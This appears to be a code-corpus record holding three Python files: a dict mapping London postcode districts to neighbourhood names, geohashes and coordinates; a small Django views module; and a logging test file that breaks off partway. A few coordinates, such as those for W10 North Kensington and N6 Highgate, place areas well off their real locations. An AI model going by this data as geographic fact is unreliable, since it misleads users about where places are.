| 0
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
7c55fa61a62d8cde8e298151b760390c75de3caf
| 16,056
|
py
|
Python
|
python/scripts/areas_out.py
|
flarebyte/wonderful-bazar
|
810514cd7d73505b11d738f8b84d91842d18d074
|
[
"MIT"
] | null | null | null |
python/scripts/areas_out.py
|
flarebyte/wonderful-bazar
|
810514cd7d73505b11d738f8b84d91842d18d074
|
[
"MIT"
] | null | null | null |
python/scripts/areas_out.py
|
flarebyte/wonderful-bazar
|
810514cd7d73505b11d738f8b84d91842d18d074
|
[
"MIT"
] | null | null | null |
{'983ab651-eb86-4471-8361-c97a5015637e': ('eb86', 'gcpuujtn5ydu', 'SW3', 'Chelsea', ['Chelsea'], (51.491239, -0.16875000000000001)),
'83f496df-fcc8-4dcf-8161-a60a75364cf2': ('fcc8', 'gcpuwf1xsv7d', 'SE26', 'Sydenham', ['Sydenham'], (51.428317999999997, -0.052663000000000001)),
'31f90575-7945-4999-b3a7-5045bb860302': ('7945', 'gcpuwqsv468q', 'SE22', 'EastDulwich', ['East Dulwich'], (51.452593999999998, -0.070283999999999999)),
'bfbf3ae9-2de6-4121-ad2d-f0af56aead36': ('2de6', 'gcpuuxpu34wm', 'SW1', 'StJamess', ["St James's"], (51.499156999999997, -0.14311399999999999)),
'84ef8a77-21b6-4ee7-aa1e-b6c3f46ec594': ('21b6', 'gcpv5skk61e3', 'W9', 'MaidaVale', ['Maida Vale'], (51.527990000000003, -0.191827)),
'5e835e97-dc8c-4dd6-bccd-a10fd9a32cdf': ('dc8c', 'gcpucby83fj5', 'SW14', 'Mortlake', ['Mortlake'], (51.464134999999999, -0.26565)),
'ecba74ab-9924-4a75-9d35-3425360b24d3': ('9924', 'gcpvpyrfxbn9', 'E15', 'Stratford', ['Stratford'], (51.538668000000001, -1.9999999999999999e-06)),
'2463521e-627b-4c8a-86a1-103dad37603c': ('627b', 'gcpuf7h3m8bj', 'SW13', 'Castelnau', ['Castelnau'], (51.476660000000003, -0.246613)),
'f4bb9dff-1053-417a-a2b5-e1e74f1dca87': ('1053', 'gcpvpkx3jc6n', 'E3', 'OldFord', ['Old Ford'], (51.528804999999998, -0.022752999999999999)),
'51983070-a4a1-4d31-97cd-62ce2a116df1': ('a4a1', 'gcpuub2qphrv', 'SW4', 'ClaphamPark', ['Clapham Park'], (51.462387999999997, -0.14216799999999999)),
'e43e519e-a914-4d5a-80fc-5d12deef77d2': ('a914', 'u10hb99hf4mm', 'SE3', 'Kidbrooke', ['Kidbrooke'], (51.469028999999999, 0.023439000000000002)),
'55425e98-f4ca-44e5-be77-fbda71da5f55': ('f4ca', 'gcputq019puc', 'SW2', 'StreathamHill', ['Streatham Hill'], (51.449274000000003, -0.1208)),
'd96fe7f2-efdb-4b54-9fb8-0820543c92f9': ('efdb', 'gcpvqf9kqcng', 'E5', 'LowerClapton', ['Lower Clapton'], (51.56232, -0.052915999999999998)),
'60416efe-ad71-48de-8fcd-fb9d3b4b2836': ('ad71', 'gcpvmq7qde7j', 'N8', 'Hornsey', ['Hornsey'], (51.583317999999998, -0.116275)),
'd4783dc6-f280-4e70-8e0d-a67608cc5bda': ('f280', 'gcpvxzewnu5j', 'E4', 'SouthChingford', ['South Chingford'], (51.634048, -0.0058859999999999997)),
'94fee5ec-dbd5-464c-9033-2e83c120e29f': ('dbd5', 'gcpuz4fnu72k', 'SE14', 'NewCrossGate', ['New Cross Gate'], (51.476244000000001, -0.041015999999999997)),
'ff3571f8-890c-44c7-9cea-a6060fb290de': ('890c', 'u10h9m8d8xf3', 'SE9', 'NewEltham', ['New Eltham'], (51.446699000000002, 0.055642999999999998)),
'04df0845-7c22-4d09-93d5-5989d26a54fd': ('7c22', 'gcpvm30np125', 'N7', 'LowerHolloway', ['Lower Holloway'], (51.554381999999997, -0.120549)),
'525a86a4-991f-47ed-b021-641420d4c0b3': ('991f', 'u10hceucd7v2', 'SE18', 'ShootersHill', ["Shooter's Hill"], (51.480837999999999, 0.072544999999999998)),
'40cfb279-cb70-4c66-9e50-c9533b22ff1a': ('cb70', 'u10hbu3sg932', 'SE7', 'NewCharlton', ['New Charlton'], (51.484129000000003, 0.035171000000000001)),
'6243716d-0acd-4367-8d44-ccf16a0380e8': ('0acd', 'u10hbh808hv5', 'SE10', 'Greenwich', ['Greenwich'], (51.484791999999999, 6.9999999999999999e-06)),
'171c72b8-2ddf-411d-869a-614aff049e75': ('2ddf', 'gcpvj5wjvs5n', 'WC1', 'StPancras', ['St Pancras'], (51.524141999999998, -0.12335599999999999)),
'34f8fa53-5797-457d-9683-82873b564bb9': ('5797', 'u10hftqqzu2f', 'SE2', 'AbbeyWood', ['Abbey Wood'], (51.489981999999998, 0.11878)),
'0b1d9677-0d94-43d7-bf35-81fdbaaeb39b': ('0d94', 'gcpuy9ch3swp', 'SE15', 'Peckham', ['Peckham'], (51.470329, -0.064472000000000002)),
'800a7f3a-5277-4aac-9890-6189235ebfbd': ('5277', 'gcpv1cqz2wb5', 'W3', 'SouthActon', ['South Acton'], (51.512053999999999, -0.26536700000000002)),
'450d69a1-7298-45e4-9278-fb0b87ecb396': ('7298', 'gcpvh9fbt2jv', 'W1', 'Soho', ['Soho'], (51.513606000000003, -0.14979899999999999)),
'72d89cc1-4467-4790-96f2-f1f2b99d99b5': ('4467', 'gcpuug5d4wcn', 'SW9', 'Stockwell', ['Stockwell'], (51.476821000000001, -0.137907)),
'88f209f1-a4d5-4d7c-b444-0c521e89d420': ('a4d5', 'u10j2kh63fey', 'E11', 'Leytonstone', ['Leytonstone'], (51.570225000000001, 0.016903000000000001)),
'd0dd9e9e-5c2b-48c4-9621-03cbe5620a81': ('5c2b', 'gcpuw0246ymx', 'SE19', 'NorwoodNewTown', ['Norwood New Town'], (51.417810000000003, -0.087764999999999996)),
'9c0eb702-fa19-48fe-a122-54c729bdf8ef': ('fa19', 'gcpuugpfm07m', 'SW8', 'SouthLambeth', ['South Lambeth'], (51.476829000000002, -0.13195999999999999)),
'f2aa6787-5a3c-4b00-9973-1339eb3e02bf': ('5a3c', 'gcpvtsuvsst1', 'N13', 'PalmersGreen', ['Palmers Green'], (51.618858000000003, -0.10314)),
'ba2f866f-d4ec-4f8e-a146-c24c51d48601': ('d4ec', 'gcpuz0j754c3', 'SE4', 'HonorOakPark', ['Honor Oak Park'], (51.460490999999998, -0.036604999999999999)),
'730a4947-903f-4f87-95a6-3f43972cc52b': ('903f', 'gcpvjdrgghcv', 'EC4', 'StPauls', ["St Paul's"], (51.516936000000001, -0.099088999999999997)),
'202ec7c8-ff91-49eb-b1b7-ec6f6960e4a6': ('ff91', 'gcpug6fvvvdp', 'SW6', 'SandsEnd', ['Sands End'], (51.476084999999998, -0.20471400000000001)),
'21f228c9-53ae-4456-98c6-5d7f61b8a756': ('53ae', 'gcpv7t2z70tq', 'NW11', 'HampsteadGardenSuburb', ['Hampstead Garden Suburb'], (51.577939000000001, -0.19658800000000001)),
'fa6c4eaa-965b-400f-b69c-75461c88e37f': ('965b', 'gcpuwv5g2y8k', 'SE23', 'ForestHill', ['Forest Hill'], (51.444074999999998, -0.049749000000000002)),
'0b5189f3-2a7d-4b18-85c3-6afb539817cd': ('2a7d', 'u10j884sxfer', 'E18', 'SouthWoodford', ['South Woodford'], (51.592584000000002, 0.025742999999999999)),
'212e503d-ee81-4294-b88e-c80330c34a4f': ('ee81', 'gcpugu4kmehu', 'SW10', 'Chelsea', ['Chelsea'], (51.482680000000002, -0.18343499999999999)),
'0814e592-837f-430c-ae1d-1f03ace83565': ('837f', 'gcpv11sqy0gp', 'W5', 'LittleEaling', ['Little Ealing'], (51.513309999999997, -0.30151899999999998)),
'd2f8c6d7-f6e8-4d48-a6c2-b6ddff4e0e99': ('f6e8', 'gcpuz7d45bzg', 'SE8', 'StJohns', ["St John's"], (51.479534999999998, -0.030041000000000002)),
'83b92fd8-8943-42e8-a630-18a5d10750f3': ('8943', 'gcpve9e3w57f', 'N3', 'Finchley', ['Finchley'], (51.600312000000002, -0.19302800000000001)),
'fc6db129-b514-4019-ad15-8acdcc91d72b': ('b514', 'gcpvqnjp4k68', 'N15', 'SouthTottenham', ['South Tottenham'], (51.582034999999998, -0.080923999999999996)),
'c86f4d27-97f3-4d00-87f7-505c9514bdb0': ('97f3', 'gcpvq9xjqmtj', 'N6', 'Highgate', ['Highgate'], (51.557023000000001, -0.056030000000000003)),
'128346f0-cc6d-49da-af42-41eb2f9aeb57': ('cc6d', 'gcpv48vch87m', 'W12', 'ShepherdsBush', ["Shepherd's Bush"], (51.508200000000002, -0.23360500000000001)),
'c1b0c4a2-e463-47c7-a87e-fd2f80f053b5': ('e463', 'gcpugx6z7e0j', 'W8', 'Kensington', ['Kensington'], (51.501047999999997, -0.193827)),
'517df5a0-4beb-4960-b605-4924420852b8': ('4beb', 'gcpvpp61444j', 'E9', 'SouthHackney', ['South Hackney'], (51.543914999999998, -0.041110000000000001)),
'6ac3107a-92b7-45b3-b928-0e8d585fb37f': ('92b7', 'gcpuqxhuk2ft', 'SE20', 'Penge', ['Penge'], (51.411256999999999, -0.059208999999999998)),
'19c47730-6dee-43ea-af7d-adcbdd02eec9': ('6dee', 'gcpue38x3ktv', 'SW19', 'Southfields', ['Southfields'], (51.425525, -0.20799200000000001)),
'4b9d261a-de5f-4ca7-8ed2-965490308a35': ('de5f', 'gcpv539sjgzc', 'W11', 'NottingHill', ['Notting Hill'], (51.512853, -0.206423)),
'1ce75af5-caef-4cd2-83f0-536882c92706': ('caef', 'gcpuewe8s2jv', 'SW18', 'Earlsfield', ['Earlsfield'], (51.451808, -0.19275700000000001)),
'9be7b8b6-30f8-4e04-abc1-e71af5566be2': ('30f8', 'u10j01qmsbp8', 'E16', 'Silvertown', ['Silvertown'], (51.511716999999997, 0.0087969999999999993)),
'6c608fad-09ab-4ca1-ac71-c503796df5a8': ('09ab', 'gcpufvcjm9yk', 'W6', 'Hammersmith', ['Hammersmith'], (51.492457999999999, -0.22909499999999999)),
'8afcb180-b06f-4d91-a053-0235286fa1e5': ('b06f', 'gcpvegyn7rnz', 'N12', 'NorthFinchley', ['North Finchley'], (51.613508000000003, -0.17837900000000001)),
'1d3b7666-ee1d-4e40-b666-ef3bda16f8b6': ('ee1d', 'gcpuvmpr79rm', 'SE11', 'Lambeth', ['Lambeth'], (51.488678999999998, -0.110733)),
'f4875ab4-d771-46c1-ac49-69166cbdcfba': ('d771', 'gcpvhtqek3v4', 'NW1', 'SomersTown', ['Somers Town'], (51.533313, -0.14469299999999999)),
'50c8042b-fec6-4b22-80eb-4e09cb00f185': ('fec6', 'gcpvk10mxy5j', 'NW3', 'SwissCottage', ['Swiss Cottage'], (51.554321999999999, -0.17510100000000001)),
'ead567a9-0edc-4cac-bdf4-c1917e7620bd': ('0edc', 'gcpvwjrtn3rv', 'N9', 'LowerEdmonton', ['Lower Edmonton'], (51.621502, -0.077312000000000006)),
'cd1a60cf-b122-4011-9496-bf2e0de91847': ('b122', 'gcpvjg9vyzt4', 'EC1', 'StLukes', ['St Lukes'], (51.524160000000002, -0.096176999999999999)),
'b79116a7-4a7f-4095-acbb-5599ce4cba67': ('4a7f', 'gcpuvvh5w2xu', 'SE17', 'Kennington', ['Kennington'], (51.488030999999999, -0.093104999999999993)),
'5225659f-84df-4bb1-9fe5-df245e76df1f': ('84df', 'u10j0s4tw9bg', 'E13', 'Plaistow', ['Plaistow'], (51.526833000000003, 0.025686)),
'5bd781bc-be2e-4f83-99f3-63ba3bd5ec6a': ('be2e', 'gcpvkpk9j61e', 'N2', 'HampsteadGardenSuburb', ['Hampstead Garden Suburb'], (51.587859999999999, -0.169374)),
'186c888a-53e1-41aa-878e-94d3ab60625f': ('53e1', 'gcpvjfm0n5j0', 'EC3', 'Monument', ['Monument'], (51.516281999999997, -0.091745999999999994)),
'cfd7c10a-2aaa-4a53-ab76-fdef599a7568': ('2aaa', 'u10h8sugc59d', 'SE12', 'Lee', ['Lee'], (51.442771, 0.028541)),
'1c58f914-c1f8-4439-8c39-cf11edc45c04': ('c1f8', 'gcpvmsj40epd', 'N4', 'StroudGreen', ['Stroud Green'], (51.570183999999998, -0.102965)),
'd014fffa-23d3-40ee-baef-b9ef5ef86f19': ('23d3', 'gcpudwnb9j9y', 'SW15', 'Roehampton', ['Roehampton'], (51.449091000000003, -0.23238400000000001)),
'99d2e512-1679-4ed9-87ba-90bfb303adec': ('1679', 'u10j17ctvf9v', 'E6', 'EastHam', ['East Ham'], (51.525506999999998, 0.057241)),
'f064057e-56f1-4f30-bda0-ca35fd1b0275': ('56f1', 'gcpv035z084j', 'W7', 'Hanwell', ['Hanwell'], (51.510601999999999, -0.33540199999999998)),
'57d92dfa-5afc-4b66-a69b-375048374bbc': ('5afc', 'gcpvre3p0my3', 'E10', 'Leyton', ['Leyton'], (51.566937000000003, -0.020580000000000001)),
'8264e8b8-2888-40a3-9a4c-010cf12fbeb6': ('2888', 'gcpuywxvqy5n', 'SE16', 'SurreyQuays', ['Surrey Quays'], (51.496600999999998, -0.054981000000000002)),
'428c88ee-09a3-457f-be28-1aa3093b1f72': ('09a3', 'gcpuvfk5wemz', 'SE5', 'Camberwell', ['Camberwell'], (51.472940000000001, -0.093096999999999999)),
'67d104ca-2f95-4a8d-b3ce-1c42613e591f': ('2f95', 'gcpuvye9s9wv', 'SE1', 'Southwark', ['Southwark'], (51.495933000000001, -0.093867999999999993)),
'd39d0988-cefc-4d8f-8b72-64ed3881d4c2': ('cefc', 'gcpvrwfw78yu', 'E17', 'HighamHill', ['Higham Hill'], (51.586008, -0.018380000000000001)),
'd09d5605-f644-4155-ae45-5cf4a3303e74': ('f644', 'gcpvq68k4xkv', 'N16', 'StokeNewington', ['Stoke Newington'], (51.562311000000001, -0.076447000000000001)),
'597632a0-8635-4c58-bded-10ab82f3d96f': ('8635', 'gcpvsu2fr2xx', 'N11', 'NewSouthgate', ['New Southgate'], (51.615532999999999, -0.14147100000000001)),
'2bf2ef47-d531-4762-a6c1-582dd87b67dc': ('d531', 'gcpvjfgp1e36', 'EC2', 'Shoreditch', ['Shoreditch'], (51.520232, -0.094690999999999997)),
'91e5f13b-d90e-4aa1-8050-4749ca54ec3d': ('d90e', 'gcpvmc0f6dqm', 'N5', 'Highbury', ['Highbury'], (51.553744000000002, -0.097730999999999998)),
'5859f04d-a8a8-45ec-a368-bea08222c0d0': ('a8a8', 'gcput0fc803g', 'SW16', 'StreathamVale', ['Streatham Vale'], (51.420394999999999, -0.128057)),
'0bc702d1-efc8-42bd-95d9-efd42fa7804a': ('efc8', 'gcpvdshzhj7k', 'NW7', 'MillHill', ['Mill Hill'], (51.615000000000002, -0.23499999999999999)),
'4b5c4caa-33ea-4952-b972-7b7a8fb53660': ('33ea', 'gcpv5qz2vh66', 'NW6', 'SouthHampstead', ['South Hampstead'], (51.541136999999999, -0.19856599999999999)),
'9aece44b-d117-492f-b33b-6208214eab2b': ('d117', 'gcpus4sq65c6', 'SW17', 'Summerstown', ['Summerstown'], (51.430841999999998, -0.16985700000000001)),
'6f1f25f4-9c2d-4ea4-aedd-09e5b8e295ea': ('9c2d', 'gcpvvb3hsqec', 'N14', 'Southgate', ['Southgate'], (51.637923000000001, -0.097316)),
'50e43d8d-96c1-476e-b218-54c85fab68db': ('96c1', 'gcpvj6cqvmuv', 'N1', 'Shoreditch', ['Shoreditch'], (51.520203000000002, -0.11890100000000001)),
'799851e1-1570-4c9b-80d6-c9a451fa4ed7': ('1570', 'gcpv6zsbj7fe', 'NW4', 'Hendon', ['Hendon'], (51.589070999999997, -0.22396099999999999)),
'4dd3a18e-8787-4723-be8b-4c4b4c0a8fd1': ('8787', 'gcpvhj0e7wbk', 'NW8', 'StJohnsWood', ["St John's Wood"], (51.531967000000002, -0.17494399999999999)),
'aa7bcc09-a080-4581-a1d0-5cf0aecae0f7': ('a080', 'gcpvndj2852y', 'E1', 'Stepney', ['Stepney'], (51.514997000000001, -0.058707000000000002)),
'36ec9cff-ee6b-40e9-ae13-a69774c8d8ea': ('ee6b', 'gcpuqk88jj63', 'SE25', 'SouthNorwood', ['South Norwood'], (51.396818000000003, -0.075999999999999998)),
'be88118b-1e83-4961-b8c4-dc1f8649e932': ('1e83', 'gcpvs8tg6j2f', 'N10', 'MuswellHill', ['Muswell Hill'], (51.595129999999997, -0.14582500000000001)),
'a747f0a7-bba6-4eae-a659-8985281c5d6c': ('bba6', 'gcpvj1xc18kj', 'WC2', 'Strand', ['Strand'], (51.512320000000003, -0.12112299999999999)),
'8166dc3b-15ac-4b59-a720-aaa7225a1ff0': ('15ac', 'gcpvje5vyfkq', 'W10', 'NorthKensington', ['North Kensington'], (51.521386, -0.104418)),
'61645feb-3027-4428-b0c9-c42fee257c8c': ('3027', 'gcpvnrrch0g7', 'E8', 'Hackney', ['Hackney'], (51.543908000000002, -0.066085000000000005)),
'ec003925-2a7f-4351-917f-597d010d4528': ('2a7f', 'u10j30uqsn1g', 'E12', 'ManorPark', ['Manor Park'], (51.55312, 0.049956)),
'55ff69b9-6d76-4ff6-9006-e0198d420bf3': ('6d76', 'gcpustk68s07', 'SW12', 'Balham', ['Balham'], (51.445306000000002, -0.14795)),
'26161918-e6d0-4225-9f5c-0ee6579ebd17': ('e6d0', 'gcputwrmr4bq', 'SE24', 'HerneHill', ['Herne Hill'], (51.451264999999999, -0.099606)),
'5afdd212-5851-4fc7-9b36-237c4cb94bb1': ('5851', 'gcpuwh8s43e6', 'SE21', 'Dulwich', ['Dulwich'], (51.441429999999997, -0.087103)),
'4fc9354c-16d7-49e4-bf23-6ee8b6faa710': ('16d7', 'gcpuxz85b4np', 'SE13', 'Lewisham', ['Lewisham'], (51.45787, -0.010978)),
'a57f18e2-65e7-4472-aa70-cdc6ffb083e9': ('65e7', 'gcpu6y8eff8j', 'SW20', 'SouthWimbledon', ['South Wimbledon'], (51.408434, -0.229908)),
'1ad1b8f1-c615-424a-90f7-4f92e885102b': ('c615', 'gcpuzxepvydq', 'E14', 'Poplar', ['Poplar'], (51.502526000000003, -0.017603000000000001)),
'225dec1e-4b47-4f4b-8d3c-1b34e8cd355f': ('4b47', 'u10j0xuk6051', 'E7', 'ForestGate', ['Forest Gate'], (51.547207999999998, 0.027899)),
'f7a54813-2396-403d-b1e3-437937f094aa': ('2396', 'gcpv5cuzym7p', 'W2', 'Paddington', ['Paddington'], (51.514879000000001, -0.17997199999999999)),
'd8b3bf21-a2aa-4de2-92ba-542b1827882e': ('a2aa', 'gcpugtkw2hwj', 'SW5', 'EarlsCourt', ["Earl's Court"], (51.489897999999997, -0.19156599999999999)),
'b03a5366-3c31-4ec5-8c51-64195bf64f24': ('3c31', 'gcpv4pnxt9ch', 'NW10', 'Stonebridge', ['Stonebridge'], (51.543655999999999, -0.25450800000000001)),
'5ae64e5d-fddb-4eb1-8025-ed1eb9b91be9': ('fddb', 'gcpvwknwtxb8', 'N18', 'Edmonton', ['Edmonton'], (51.614927000000002, -0.067740999999999996)),
'0397f4fd-bfb5-4d8a-bd2e-0fbbb92e7c63': ('bfb5', 'gcpuu0ym1p5p', 'SW11', 'ClaphamJunction', ['Clapham Junction'], (51.464978000000002, -0.16715099999999999)),
'b60b7507-6cf3-4543-a38a-1ab5d5eadb68': ('6cf3', 'gcpvt3ucuyvd', 'N22', 'NoelPark', ['Noel Park'], (51.601747000000003, -0.11411499999999999)),
'f771fc64-ebc5-4c65-9982-d1bf0bf96daa': ('ebc5', 'gcpuxetvshmd', 'SE6', 'HitherGreen', ['Hither Green'], (51.436208999999998, -0.013897)),
'5d1d956f-1209-4f4c-9bdc-335453e2a5cf': ('1209', 'gcpuun82bjd1', 'SW7', 'SouthKensington', ['South Kensington'], (51.495825000000004, -0.17543500000000001)),
'e2c32ded-1b66-4a40-97ae-2c6da262d753': ('1b66', 'gcpvnsshv31u', 'E2', 'Shoreditch', ['Shoreditch'], (51.529446999999998, -0.060197000000000001)),
'b94cb0a1-6dc6-4707-b57d-e36cbf912898': ('6dc6', 'gcpv6nfh9ne3', 'NW9', 'Kingsbury', ['Kingsbury'], (51.585737999999999, -0.260878)),
'ad2b3b27-53ff-4cc2-99b6-d5051d9f1d8f': ('53ff', 'gcpvk9pjf7mu', 'NW5', 'KentishTown', ['Kentish Town'], (51.554349999999999, -0.144091)),
'418c1037-5ef2-42f2-9de3-8e02202b0859': ('5ef2', 'gcpvkfzee7gc', 'N19', 'DartmouthPark', ['Dartmouth Park'], (51.563578999999997, -0.132378)),
'2260e8b8-7b09-4b58-a103-8f5d5bf5e924': ('7b09', 'gcpv6fj5cg01', 'NW2', 'Neasden', ['Neasden'], (51.559497999999998, -0.223771)),
'55e97cec-6288-4bfb-86b0-1c942acbfd53': ('6288', 'gcpucvpmyk8q', 'W4', 'Chiswick', ['Chiswick'], (51.488439, -0.26443299999999997))}
| 143.357143
| 171
| 0.71014
| 1,644
| 16,056
| 6.935523
| 0.725061
| 0.00421
| 0.005788
| 0.007367
| 0.007718
| 0
| 0
| 0
| 0
| 0
| 0
| 0.424275
| 0.059915
| 16,056
| 112
| 172
| 143.357143
| 0.331125
| 0
| 0
| 0
| 0
| 0
| 0.527558
| 0.253721
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7c98fb7cd71a2ba6c3b3a75a497b2a33c565a642
| 381
|
py
|
Python
|
testapp/views.py
|
reggieriser/django-oidc
|
ae4a0ba5e6bfda1495f9447a507e6f54cc056980
|
[
"Apache-2.0"
] | 4
|
2016-07-12T18:29:35.000Z
|
2020-01-27T19:09:56.000Z
|
testapp/views.py
|
reggieriser/django-oidc
|
ae4a0ba5e6bfda1495f9447a507e6f54cc056980
|
[
"Apache-2.0"
] | 2
|
2019-10-08T04:39:01.000Z
|
2020-01-27T19:54:01.000Z
|
testapp/views.py
|
reggieriser/django-oidc
|
ae4a0ba5e6bfda1495f9447a507e6f54cc056980
|
[
"Apache-2.0"
] | 9
|
2016-09-18T09:56:49.000Z
|
2020-01-30T17:56:09.000Z
|
from django.contrib.auth.decorators import login_required
from django.shortcuts import render
@login_required
def home(request):
# Old: opresult.mako
return render(request, "testapp/result.html", {"userinfo": request.session['userinfo'] if 'userinfo' in request.session.keys() else None})
def unprotected(request):
return render(request, "testapp/unprotected.html")
| 31.75
| 142
| 0.76378
| 48
| 381
| 6.020833
| 0.583333
| 0.069204
| 0.131488
| 0.179931
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11811
| 381
| 11
| 143
| 34.636364
| 0.860119
| 0.047244
| 0
| 0
| 0
| 0
| 0.185596
| 0.066482
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.285714
| 0.285714
| 0.857143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
7c9da999d4eb734fe383f6d2f8642f69605e88d7
| 23,637
|
py
|
Python
|
python_helper/api/test/api/src/service/LogHelperTest.py
|
SamuelJansen/python_helper
|
1cd43f9ef64cdb84d3c22e56346dc3a1096ac809
|
[
"MIT"
] | null | null | null |
python_helper/api/test/api/src/service/LogHelperTest.py
|
SamuelJansen/python_helper
|
1cd43f9ef64cdb84d3c22e56346dc3a1096ac809
|
[
"MIT"
] | null | null | null |
python_helper/api/test/api/src/service/LogHelperTest.py
|
SamuelJansen/python_helper
|
1cd43f9ef64cdb84d3c22e56346dc3a1096ac809
|
[
"MIT"
] | null | null | null |
from python_helper import log, SettingHelper, StringHelper, EnvironmentVariable, EnvironmentHelper, ObjectHelper, Test
class MyClass :
def myMethod(self):
self.me = 1
def myFunction(a):
return str(a) + 'b'
OPTIONAL_EXCEPTION_LOG_TYPES = [log.log, log.debug, log.warning, log.test]
DICTIONARY_INSTANCE = {
'my_none_value' : None,
'my_none_value-as_string' : 'None',
'string_key_as_string' : 'value',
'integer_key_as_string' : 12345678901,
10987654321 : 12345678901,
'bool_key_as_string' : True,
False : True,
'float_key_as_string' : 12345.678901,
109876.54321 : 12345.678901,
'list_key_as_string' : [
'my',
'list',
'elements'
],
'list_of_list_key_as_string' : [
[
'my',
'first',
'list',
False,
12345.678901
],
[
'my',
'second',
'list',
True,
10987654321
]
],
'set_of_string_key_as_string' : {
'a',
'True',
'2',
'3.4',
True,
2,
2.4
}
}
TEST_SETTINGS = {}
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : True,
SettingHelper.ACTIVE_ENVIRONMENT : SettingHelper.LOCAL_ENVIRONMENT
},
**TEST_SETTINGS
)
def mustLogWithColors() :
# Arrange
noExceptionThrown = 'exception not thrown'
someLogMessage = 'some log message'
someExceptionMessage = 'some exception message'
someInnerExceptionMessage = 'some inner exception message'
exception = None
someExceptionMessageWithStackTrace = f'{someExceptionMessage} with stacktrace'
someExceptionMessageWithoutStackTrace = f'{someExceptionMessage} without stacktrace'
def controlableException(logType, muteStackTrace=False) :
try :
raise Exception(someExceptionMessageWithoutStackTrace if muteStackTrace else someExceptionMessageWithStackTrace)
except Exception as exception :
if logType in OPTIONAL_EXCEPTION_LOG_TYPES :
logType(logType, someLogMessage, exception=exception, muteStackTrace=muteStackTrace)
else :
logType(logType, someLogMessage, exception, muteStackTrace=muteStackTrace)
# Act
log.info(log.info, someLogMessage)
log.success(log.success, someLogMessage)
log.setting(log.setting, someLogMessage)
log.debug(log.debug, someLogMessage)
log.warning(log.warning, someLogMessage)
controlableException(log.log)
controlableException(log.info)
controlableException(log.debug)
controlableException(log.warning)
controlableException(log.wraper)
controlableException(log.failure)
controlableException(log.error)
controlableException(log.test)
controlableException(log.log, muteStackTrace=True)
controlableException(log.info, muteStackTrace=True)
controlableException(log.debug, muteStackTrace=True)
controlableException(log.warning, muteStackTrace=True)
controlableException(log.wraper, muteStackTrace=True)
controlableException(log.failure, muteStackTrace=True)
controlableException(log.error, muteStackTrace=True)
controlableException(log.test, muteStackTrace=True)
log.log(log.log, someLogMessage, None)
log.info(log.info, someLogMessage, None)
log.debug(log.debug, someLogMessage, None)
log.warning(log.warning, someLogMessage, None)
log.wraper(log.wraper, noExceptionThrown, None)
log.failure(log.failure, noExceptionThrown, None)
log.error(log.error, noExceptionThrown, None)
log.test(log.test, someLogMessage, None)
# Assert
assert SettingHelper.LOCAL_ENVIRONMENT == EnvironmentHelper.get(SettingHelper.ACTIVE_ENVIRONMENT)
assert SettingHelper.activeEnvironmentIsLocal()
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
log.WRAPPER : True,
log.FAILURE : True,
log.ERROR : True,
log.TEST : True,
SettingHelper.ACTIVE_ENVIRONMENT : 'my environment'
},
**TEST_SETTINGS
)
def mustLogWithoutColors() :
# Arrange
noExceptionThrown = 'exception not thrown'
someLogMessage = 'some log message'
someExceptionMessage = 'some exception message'
someInnerExceptionMessage = 'some inner exception message'
exception = None
someExceptionMessageWithStackTrace = f'{someExceptionMessage} with stacktrace'
someExceptionMessageWithoutStackTrace = f'{someExceptionMessage} without stacktrace'
def controlableException(logType, muteStackTrace=False) :
try :
raise Exception(someExceptionMessageWithoutStackTrace if muteStackTrace else someExceptionMessageWithStackTrace)
except Exception as exception :
if logType in OPTIONAL_EXCEPTION_LOG_TYPES :
logType(logType, someLogMessage, exception=exception, muteStackTrace=muteStackTrace)
else :
logType(logType, someLogMessage, exception, muteStackTrace=muteStackTrace)
# Act
log.info(log.info, someLogMessage)
log.success(log.success, someLogMessage)
log.setting(log.setting, someLogMessage)
log.debug(log.debug, someLogMessage)
log.warning(log.warning, someLogMessage)
controlableException(log.log)
controlableException(log.info)
controlableException(log.debug)
controlableException(log.warning)
controlableException(log.wraper)
controlableException(log.failure)
controlableException(log.error)
controlableException(log.test)
controlableException(log.log, muteStackTrace=True)
controlableException(log.info, muteStackTrace=True)
controlableException(log.debug, muteStackTrace=True)
controlableException(log.warning, muteStackTrace=True)
controlableException(log.wraper, muteStackTrace=True)
controlableException(log.failure, muteStackTrace=True)
controlableException(log.error, muteStackTrace=True)
controlableException(log.test, muteStackTrace=True)
log.log(log.log, someLogMessage, None)
log.info(log.info, someLogMessage, None)
log.debug(log.debug, someLogMessage, None)
log.warning(log.warning, someLogMessage, None)
log.wraper(log.wraper, noExceptionThrown, None)
log.failure(log.failure, noExceptionThrown, None)
log.error(log.error, noExceptionThrown, None)
log.test(log.test, someLogMessage, None)
# Assert
assert 'my environment' == EnvironmentHelper.get(SettingHelper.ACTIVE_ENVIRONMENT)
@Test(
environmentVariables={
log.LOG : True,
log.SUCCESS : True,
log.SETTING : True,
log.DEBUG : True,
log.WARNING : True,
